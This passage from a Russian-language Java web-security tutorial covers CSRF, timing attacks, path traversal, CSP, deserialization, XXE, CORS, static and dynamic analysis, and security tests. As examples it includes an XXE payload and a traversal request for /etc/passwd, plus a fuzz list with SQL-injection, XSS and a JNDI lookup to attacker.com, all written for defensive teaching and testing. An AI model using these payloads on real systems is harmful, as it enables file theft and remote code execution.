<!-- Остальные поля формы -->
<input type="hidden" name="_csrf" value="${csrfToken}">
<button type="submit">Отправить</button>
</form> |
|
Но, честно говоря, в современную эпоху мало кто пишет такой код вручную.
Spring Security: CSRF-защита из коробки
В Spring Security защита от CSRF включена по умолчанию. В основе лежит тот же принцип токенов, но реализация более продвинутая и включает массу оптимизаций:
Java | 1
2
3
4
5
6
7
8
9
10
11
12
13
| @Configuration
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.csrf() // CSRF защита включена по умолчанию
// Можно настроить поведение
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());
// Остальная конфигурация...
}
} |
|
Spring автоматически добавляет CSRF-токен в модель для всех Thymeleaf, JSP и других шаблонов, так что его можно легко вставить в форму:
HTML5 | 1
2
3
4
5
6
7
| <!-- С использованием Thymeleaf -->
<form action="/transfer" method="post">
<input type="hidden" name="${_csrf.parameterName}" value="${_csrf.token}">
<!-- Или более просто -->
<input type="hidden" th:name="${_csrf.parameterName}" th:value="${_csrf.token}">
<!-- Остальные поля формы -->
</form> |
|
Для REST API, где формы не используются, можно передавать токен через заголовок. Spring позволяет легко получить его через JavaScript:
JavaScript | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| // Получаем токен из cookie (если используется CookieCsrfTokenRepository)
const csrfToken = document.cookie
.split('; ')
.find(row => row.startsWith('XSRF-TOKEN='))
.split('=')[1];
// Отправляем запрос с CSRF-токеном
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-XSRF-TOKEN': csrfToken // Заголовок по умолчанию для Spring
},
body: JSON.stringify({ amount: 1000, to: 'friend123' })
}); |
|
Атаки по временным каналам
Это не самый известный, но очень коварный тип уязвимостей. Суть в том, что атакующий может получить конфиденциальную информацию, анализируя время выполнения определённых операций. Классический пример — сравнение паролей. Если ваш код последовательно сравнивает символы и выходит из цикла при первом несовпадении, то время проверки будет зависеть от количества совпавших символов. Перебирая символы и измеряя время ответа, атакующий может постепенно подобрать пароль.
Защита от таких атак заключается в использовании методов сравнения с константным временем выполнения:
Java | 1
2
3
4
5
6
7
8
9
10
11
12
| // Уязвимый код
public boolean checkPassword(String input, String stored) {
return input.equals(stored); // Время выполнения зависит от входных данных!
}
// Безопасный код
public boolean checkPassword(String input, String stored) {
return MessageDigest.isEqual(
input.getBytes(StandardCharsets.UTF_8),
stored.getBytes(StandardCharsets.UTF_8)
); // Константное время исполнения
} |
|
В Spring Security для этого есть специальный класс:
Java | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| import org.springframework.security.crypto.password.PasswordEncoder;
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
@Service
public class UserService {
private final PasswordEncoder passwordEncoder = new BCryptPasswordEncoder();
public boolean authenticate(String username, String password) {
User user = userRepository.findByUsername(username);
if (user == null) {
return false;
}
// BCrypt сравнивает с константным временем
return passwordEncoder.matches(password, user.getPasswordHash());
}
} |
|
Помимо паролей, уязвимы могут быть и другие операции сравнения секретной информации — токенов доступа, ключей API и т.п.
Path Traversal: когда "../../" на входе — это не просто текст
Path Traversal (обход пути) — это атака, нацеленая на получение доступа к файлам за пределами предполагаемого каталога. Например, если ваше приложение позволяет скачивать файлы по имени:
Java | 1
2
3
4
5
| @GetMapping("/download")
public ResponseEntity<Resource> downloadFile(@RequestParam String filename) throws IOException {
File file = new File("/var/www/uploads/" + filename);
// ... код для отправки файла ...
} |
|
То злоумышленник может попробовать получить системные файлы:
Java | 1
| /download?filename=../../../etc/passwd |
|
Для защиты необходимо валидировать и канонизировать пути:
Java | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| @GetMapping("/download")
public ResponseEntity<Resource> downloadFile(@RequestParam String filename) throws IOException {
// Проверяем имя файла на допустимые символы
if (!filename.matches("^[a-zA-Z0-9_.-]+$")) {
throw new IllegalArgumentException("Invalid filename");
}
// Строим безопасный путь
Path basePath = Paths.get("/var/www/uploads").toAbsolutePath().normalize();
Path requestedFile = basePath.resolve(filename).normalize();
// Проверяем, что запрошенный файл находится внутри базового каталога
if (!requestedFile.startsWith(basePath)) {
throw new IllegalArgumentException("Access denied");
}
// ... код для отправки файла ...
} |
|
Тут я должен признаться: мне как-то пришлось срочно патчить подобную дыру в пром-системе, когда кто-то случайно обнаружил, что можно скачать исходники приложения прямо с продакшена. Хорошо, что это был внутренний сотрудник, а не настоящий хакер.
И еще один важный момент: в Java некоторые методы для работы с файлами (особенно унаследованные от ранних версий) не всегда корректно обрабатывают символические ссылки. Злоумышленик может создать симлинк, который обойдёт проверку startsWith() . Поэтому для критичных систем рекомендую использовать SecurityManager или, в более современных версиях JDK, модульную систему с явным указанием разрешений на доступ к файловой системе.
Настройка Content Security Policy
Content Security Policy (CSP) — это мощный инструмент для противодействия XSS и другим атакам на основе инъекций контента. В отличие от других механизмов защиты, CSP действует на стороне браузера, ограничивая типы ресурсов, которые может загружать страница. Настройка CSP в Java-приложении может быть реализована разными способами. Самый простой — через HTTP-заголовки. Вот пример фильтра, который добавляет CSP-заголовок:
Java | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| @Component
public class CspFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
HttpServletResponse httpResponse = (HttpServletResponse) response;
httpResponse.setHeader("Content-Security-Policy",
"default-src 'self'; " +
"script-src 'self' https://trusted-cdn.com; " +
"img-src 'self' data: https:; " +
"object-src 'none'; " +
"frame-ancestors 'none'; " +
"block-all-mixed-content");
chain.doFilter(request, response);
}
} |
|
Этот заголовок говорит браузеру:- Загружать ресурсы только с того же источника (
default-src 'self' ),
- Разрешить скрипты только с того же источника и доверенного CDN,
- Разрешить изображения с того же источника, из data URI и через HTTPS,
- Запретить объекты типа Flash/Java,
- Запретить встраивать страницу в iframe/frame/object,
- Блокировать загрузку контента через HTTP, если страница загружена через HTTPS.
В Spring Security настройка CSP еще проще:
Java | 1
2
3
4
5
6
7
8
9
10
| @Configuration
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.contentSecurityPolicy("script-src 'self' https://trusted-cdn.com; object-src 'none'");
}
} |
|
Что особенно крутото в CSP — это отчёты о нарушениях. Вы можете настроить отправку отчётов о попытках нарушения политики, добавив директиву report-uri :
Java | 1
2
| httpResponse.setHeader("Content-Security-Policy-Report-Only",
"default-src 'self'; report-uri /csp-report-endpoint"); |
|
Режим Report-Only особенно полезен при первоначальном внедрении CSP: политика не блокирует ничего, но сообщает о нарушениях, что помогает выявить потенциальные проблемы до активации полноценного режима блокировки.
Уязвимости десериализации в Java
Десериализация — один из самых недооценённых векторов атаки. А между тем, по оценке OWASP, уязвимости десериализации входят в топ-10 самых критичных угроз безопасности. Проблема в том, что при десериализации объекта Java выполняет определенные методы, такие как конструкторы и readObject(). Если злоумышленник может манипулировать сериализованными данными, он может заставить приложение выполнить вредоносный код. Классический пример — эксплойт Apache Commons Collections. Если ваше приложение использует эту библиотеку и десериализует ненадёжные данные, оно потенциально уязвимо для выполнения произвольного кода.
Java | 1
2
3
4
5
| // Опасный код
try (ObjectInputStream ois = new ObjectInputStream(inputStream)) {
Object obj = ois.readObject(); // Потенциально опасная операция!
// ...
} |
|
Меры защиты:
1. Избегайте десериализации ненадёжных данных. Если возможно, используйте форматы, не связанные с выполнением кода (JSON, XML, Protocol Buffers).
2. Фильтруйте классы при десериализации. В Java 9+ используйте ObjectInputFilter:
Java | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| try (ObjectInputStream ois = new ObjectInputStream(inputStream)) {
ois.setObjectInputFilter(filterInfo -> {
Class<?> clazz = filterInfo.serialClass();
if (clazz != null) {
// Белый список разрешенных классов
return (clazz.equals(SafeClass1.class) ||
clazz.equals(SafeClass2.class))
? ObjectInputFilter.Status.ALLOWED
: ObjectInputFilter.Status.REJECTED;
}
// Фильтрация по другим критериям (например, кол-во ссылок)
return (filterInfo.references() < 1000)
? ObjectInputFilter.Status.ALLOWED
: ObjectInputFilter.Status.REJECTED;
});
Object obj = ois.readObject();
// ...
} |
|
3. Контролируйте зависимости. Используйте актуальные версии библиотек. Например, известно, что старые версии Apache Commons Collections, Apache Commons BeanUtils и некоторых других библиотек уязвимы.
4. Применяйте RASP (Runtime Application Self-Protection). Такие инструменты, как Contrast Security или OpenRASP, могут обнаруживать и блокировать атаки на основе десериализации в рантайме.
Я помню случай с одним финтех-стартапом, где разработчик решил сериализовать объект сессии пользователя и хранить его в куки — «для удобства и быстродействия». Чем это кончилось? Через неделю после запуска сервиса компания потратила трое суток на расследование загадочных падений JVM на прод-серверах. Оказалось, конкурент использовал уязвимость десериализации для внедрения полезной нагрузки в куки, которая при десериализации исполняла команды вплоть до System.exit(). История закончилась полным редизайном системы аутентификации и увольнением того самого "креативного" разработчика.
XML External Entity (XXE) атаки
Еще одна распространенная уязвимость в Java-системах — XXE. Она возникает при некорректной обработке XML-документов, когда парсер разрешает обработку внешних сущностей. Например:
XML | 1
2
3
4
5
| <?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo> |
|
При обработке такого XML уязвимый парсер прочитает и вернёт содержимое файла /etc/passwd.
Защитить свое приложение можно, отключив обработку внешних сущностей:
Java | 1
2
3
4
5
6
7
8
9
10
| DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
Document document = builder.parse(inputStream); |
|
Аналогично для SAX-парсера, StAX и других API для работы с XML. Хорошая новость: в новых версиях Java многие XML-парсеры имеют безопасные настройки по умолчанию, но всегда стоит перепроверять.
Кросс-доменные атаки и защита с помощью CORS
Cross-Origin Resource Sharing (CORS) — это механизм, позволяющий веб-страницам делать запросы к API на других доменах. Но если он настроен неправильно, это может стать вектором атаки. Типичная ошибка — слишком щедрая настройка CORS:
Java | 1
2
3
4
5
6
7
8
9
10
11
| @Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/**")
.allowedOrigins("*")
.allowedMethods("*")
.allowedHeaders("*")
.allowCredentials(true); // Опасно!
}
} |
|
Такая конфигурация позволяет любому домену делать запросы к вашему API, включая запросы с куками и заголовками авторизации. Это серьёзный риск безопасности!
Более безопасная настройка:
Java | 1
2
3
4
5
6
7
8
9
10
11
12
13
| @Configuration
public class WebConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("https://trusted-app.com", "https://admin.trusted-app.com")
.allowedMethods("GET", "POST", "PUT", "DELETE")
.allowedHeaders("Authorization", "Content-Type")
.exposedHeaders("X-Custom-Header")
.allowCredentials(true)
.maxAge(3600);
}
} |
|
Эта конфигурация:- Ограничивает CORS только путями, начинающимися с
/api/ .
- Разрешает запросы только с доверенных доменов.
- Явно перечисляет разрешенные методы и заголовки.
- Устанавливает время жизни preflight-кэша.
При работе с CORS стоит помнить, что он защищает только от определённых типов атак. CSRF, например, может обойти CORS-защиту, поэтому всегда сочетайте CORS с другими механизмами безопасности.
Практический инструментарий
Знание уязвимостей — это лишь половина дела. Как говорил мой первый тимлид: "Безопасность — это не обряд инициации, а ежедневная привычка". Чтобы превратить безопасный код из эпизодического подвига в рутину, нужен надёжный инструментарий, который автоматически выявляет пробелы в защите. И желательно, чтобы этот инструментарий не замедлял разработку, а органично вплетался в привычный процесс.
Статический анализ кода: видеть проблемы, не запуская код
Статический анализ (SAST, Static Application Security Testing) — это метод проверки кода без его фактического исполнения. Инструменты SAST анализируют исходники или скомпилированный байт-код, выявляя потенциальные уязвимости: от очевидных ошибок до сложных паттернов небезопасного кода. Для Java существует целый зоопарк таких инструментов. Выделю несколько, которые действительно стоят внимания:
1. SpotBugs (преемник FindBugs) с плагином FindSecBugs
SpotBugs сканирует байт-код Java, что позволяет ему находить уязвимости даже в зависимостях, для которых у вас нет исходников. FindSecBugs — это специальный плагин, заточенный под поиск проблем безопасности. Он отлично обнаруживает SQL-инъекции, XSS, CSRF и многие другие уязвимости.
XML | 1
2
3
4
5
6
7
8
9
10
11
12
13
| <!-- Подключение в maven -->
<plugin>
<groupId>com.github.spotbugs</groupId>
<artifactId>spotbugs-maven-plugin</artifactId>
<version>4.6.0.0</version>
<dependencies>
<dependency>
<groupId>com.h3xstream.findsecbugs</groupId>
<artifactId>findsecbugs-plugin</artifactId>
<version>1.12.0</version>
</dependency>
</dependencies>
</plugin> |
|
Запуск проверки выполняется командой mvn spotbugs:check , а отчёт можно сгенерировать через mvn spotbugs:gui или в HTML-формате. Кстати, забавная особенность SpotBugs: он часто находит ложные срабатывания, особенно когда дело касается сложных конструкций типа Builder-паттернов или лямбд. Но я предпочитаю несколько лишних проверок, чем пропущенную уязвимость.
2. SonarQube с Security Rules
SonarQube — более комплексное решение, которое помимо безопасности проверяет код на качество, покрытие тестами и соответствие стандартам. Его мощь — в глубоком анализе потока данных, позволяющем выявлять сложные сценарии уязвимостей. Настройка SonarQube требует чуть больше усилий (нужен отдельный сервер), но результат того стоит. Особенно ценно, что в нём можно настроить "качество качелей" (Quality Gates): CI-сборка будет проваливаться при обнаружении критических уязвимостей.
Java | 1
2
3
4
5
6
7
| // Этот код SonarQube пометит как уязвимый
public void processData(String input) {
if (input.startsWith("cmd:")) {
String command = input.substring(4);
Runtime.getRuntime().exec(command); // Command injection vulnerability!
}
} |
|
3. CheckStyle с плагинами безопасности
Если вы уже используете CheckStyle для стандартизации кода, добавьте к нему правила проверки безопасности:
XML | 1
2
3
4
| <module name="RegexpSingleline">
<property name="format" value="Runtime\.getRuntime\(\)\.exec"/>
<property name="message" value="Potential command injection vulnerability"/>
</module> |
|
Такие простые проверки не заменят полноценного SAST, но могут отловить типичные ошибки на раннем этапе.
4. Dependency-Check: скрытые уязвимости в зависимостях
Отдельного внимания заслуживают уязвимости в сторонних библиотеках. Я как-то провёл эксперимент: проверил 10 случайных Java-проектов из нашей компании на уязвимости в зависимостях. Результат: в каждом(!) проекте нашлось минимум 5 критических CVE. OWASP Dependency-Check сравнивает ваши зависимости с базой данных известных уязвимостей (CVE) и сигнализирует о проблемах:
XML | 1
2
3
4
5
6
7
8
9
10
11
12
| <plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>7.1.1</version>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin> |
|
Запустите mvn dependency-check:check , и вы получите отчёт о всех компонентах с известными уязвимостями в вашем проекте.
Интеграция безопасности в CI/CD
Инструменты хороши, но их нужно правильно встроить в процесс разработки. Безопасность должна быть "shift left" — сдвинута влево в жизненном цикле, ближе к этапу написания кода.
Pipeline с проверками безопасности
Вот пример структуры Jenkins-пайплайна с интегрированной безопасностью:
Groovy | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| pipeline {
agent any
stages {
stage('Build') {
steps {
sh 'mvn clean compile'
}
}
stage('SAST') {
parallel {
stage('SpotBugs') {
steps {
sh 'mvn spotbugs:check'
}
}
stage('SonarQube') {
steps {
sh 'mvn sonar:sonar'
}
}
}
}
stage('Dependency Check') {
steps {
sh 'mvn dependency-check:check'
}
}
// Остальные этапы: тесты, сборка артефактов и т.д.
}
post {
always {
// Публикация отчётов
publishHTML(target: [
reportName: 'SpotBugs',
reportDir: 'target/spotbugsXml',
reportFiles: 'spotbugsXml.xml',
keepAll: true
])
}
}
} |
|
Важный момент: на ранних этапах настраивайте инструменты так, чтобы они предупреждали, но не блокировали сборку. Иначе команда быстро найдёт способ обойти проверки (видел случай, когда разработчики создали отдельную ветку "without_security_checks", и мерджили в мастер напрямую — классический случай security theatre).
Pre-commit хуки: защита на стороне разработчика
Git hooks — недооцененный инструмент. Локальная проверка до коммита способна предотвратить 90% элементарных уязвимостей:
Bash | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| #!/bin/sh
[H2]pre-commit hook: .git/hooks/pre-commit[/H2]
echo "Running security checks..."
./mvnw spotbugs:check
if [ $? -ne 0 ]; then
echo "SpotBugs found security issues. Please fix them before committing."
exit 1
fi
# Быстрая проверка на опасные паттерны
if grep -r "Runtime\.getRuntime\(\)\.exec" --include="*.java" .; then
echo "Potential command injection detected. Please review your code."
exit 1
fi
# Проверка на хардкоженные секреты
if grep -r "password.*=.*\"[^\"]*\"" --include="*.java" --include="*.properties" .; then
echo "Hardcoded credentials detected. Please use a config server or environment variables."
exit 1
fi |
|
SAST vs DAST: когда что использовать
SAST (статический анализ) и DAST (динамический анализ) — комплементарные подходы. SAST проверяет код изнутри, DAST — снаружи, имитируя действия атакующего.
DAST-инструменты, такие как OWASP ZAP или Burp Suite, запускаются против работающего приложения. Они пытаются внедрить вредоносные данные через формы, API-запросы, URL и другие точки входа, анализируя поведение приложения.
Java | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| // Пример конфигурации OWASP ZAP в Maven
<plugin>
<groupId>org.owasp</groupId>
<artifactId>zap-maven-plugin</artifactId>
<version>1.2.1-0</version>
<configuration>
<zapHost>localhost</zapHost>
<zapPort>8080</zapPort>
<targetUrl>http://localhost:8090/myapp/</targetUrl>
</configuration>
<executions>
<execution>
<goals>
<goal>analyze</goal>
</goals>
</execution>
</executions>
</plugin> |
|
Когда выбирать SAST, а когда DAST?
SAST лучше для:- Раннего обнаружения проблем (до запуска кода).
- Покрытия большей части кодовой базы, включая редко используемые пути.
- Выявления уязвимостей в зависимостях и библиотеках.
- Интеграции в IDE и процесс разработки.
DAST эффективнее в:- Выявлении проблем конфигурации и уязвимостей окружения.
- Нахождении уязвимостей, которые проявляются только при взаимодействии компонентов.
- Обнаружении логических ошибок и проблем аутентификации.
- Проверке реальных сценариев использования.
Идеальная стратегия — комбинировать оба подхода. SAST в процессе разработки, DAST на этапе тестирования и перед релизом.
Автоматизированное тестирование безопасности
Помимо анализа кода, критически важно иметь специализированые тесты безопасности. Я рекомендую три типа таких тестов:
1. Юнит-тесты на безопасность — проверяют отдельные компоненты на корректную обработку потенциально опасных входных данных:
Java | 1
2
3
4
5
6
7
8
| @Test
public void testSqlInjectionPrevention() {
UserRepository repo = new UserRepositoryImpl();
// Попытка SQL-инъекции
List<User> users = repo.findByUsername("' OR '1'='1");
// Не должно вернуть всех пользователей
assertEquals(0, users.size());
} |
|
2. Интеграционные тесты безопасности — проверяют взаимодействие компонентов:
Java | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| @SpringBootTest
@AutoConfigureMockMvc
public class SecurityIntegrationTest {
@Autowired
private MockMvc mockMvc;
@Test
public void testXssProtection() throws Exception {
// Внедрение XSS-попытки
mockMvc.perform(post("/comments")
.param("text", "<script>alert('XSS')</script>"))
.andExpect(status().isOk());
// Проверяем, что скрипт не сохранился в неэкранированном виде
mockMvc.perform(get("/comments"))
.andExpect(status().isOk())
.andExpect(content().string(not(containsString("<script>alert('XSS')</script>"))));
}
} |
|
3. Фаззинг-тесты — атакуют приложение полуслучайнными данными, выявляя неожиданные уязвимости:
Java | 1
2
3
4
5
6
7
8
9
10
11
12
13
14
| @ParameterizedTest
@ValueSource(strings = {
"<script>alert(1)</script>",
"'; DROP TABLE users; --",
"${jndi:ldap://attacker.com/malicious}",
"../../../../etc/passwd",
"%00../../../etc/passwd"
})
void testPathTraversalProtection(String maliciousInput) {
FileService service = new FileServiceImpl();
assertThrows(SecurityException.class, () -> {
service.readFile(maliciousInput);
});
} |
|
Мониторинг и реагирование на инциденты
Превентивные меры важны, но необходимо быть готовым и к неизбежным инцидентам. Я рекомендую:
1. Централизированное логирование безопасности — отслеживайте неуспешные аутентификации, необычные запросы и другие индикаторы компрометации.
2. Web Application Firewall (WAF) — дополнительный уровень защиты, блокирующий известные атаки ещё до их достижения приложения.
3. Мониторинг активности базы данных — аномальное количество запросов или доступ к критическим таблицам часто указывает на успешную атаку.
Один из моих клиентов внедрил простую, но эффективную систему мониторинга SQL-запросов: все запросы логировались, и если количество записей в результате превышало определённый порог или запрос затрагивал более 3 таблиц одновременно, срабатывала тревога. Эта система помогла обнаружить утечку данных через SQL-инъекцию буквально через 7 минут после её начала.
Безопасное хранение файлов или безопасное подключение к БД Возник такой вопрос. Подключение к БД делаю с помощью include который загружает файл содержащий... SQL-инъекции Обнаружил у себя на сайте уязвимость. Прежде чем ее починить, решил сам попробовать через эту дырку... Метод защиты от SQL инъекции Вот придумал метод защиты от SQL инъекции скажите надежен ли он:
Перед занесением информации в БД... SQL-инъекции - Защита 1 Цитата из статьи:
"старайтесь использовать специально созданных пользователей с максимально... SQL-инъекции - Защита 2 Цитата:
"Экранируйте любой нецифровой ввод, используемый в запросах к БД при помощи специальных... Mysql connector и sql инъекции Вообщем пишу программу на C#, которая взаимодействует с Mysql через ихний коннектор. Для инструкции... SQL инъекции, php защита Начал разбираться в это странной ситуации, несколько статей 1 - 2 прочитал, но всё равно что-то... Для чего используется символ + в sql инъекции Есть sql-инъекция:
... PDO: Защита от SQL инъекции Здравствуйте. Интересует способ защиты от SQL-инъекции, с БД работаю используя PDO.
Читал про... SQL инъекции Всем привет начал учить раздел книги посвященный sql инъекциям и появился небольшой вопрос. Вот... Защита от SQL-инъекции Здравствуйте,подскажите пожалуйста, как защитить данный скрипт на PDO от SQL- инъекции.
<?php... SQL инъекции в запросах Доброго дня
Написал маленький сайт (ни чего особенного, одна страница + SQL), и почти сразу же его...
|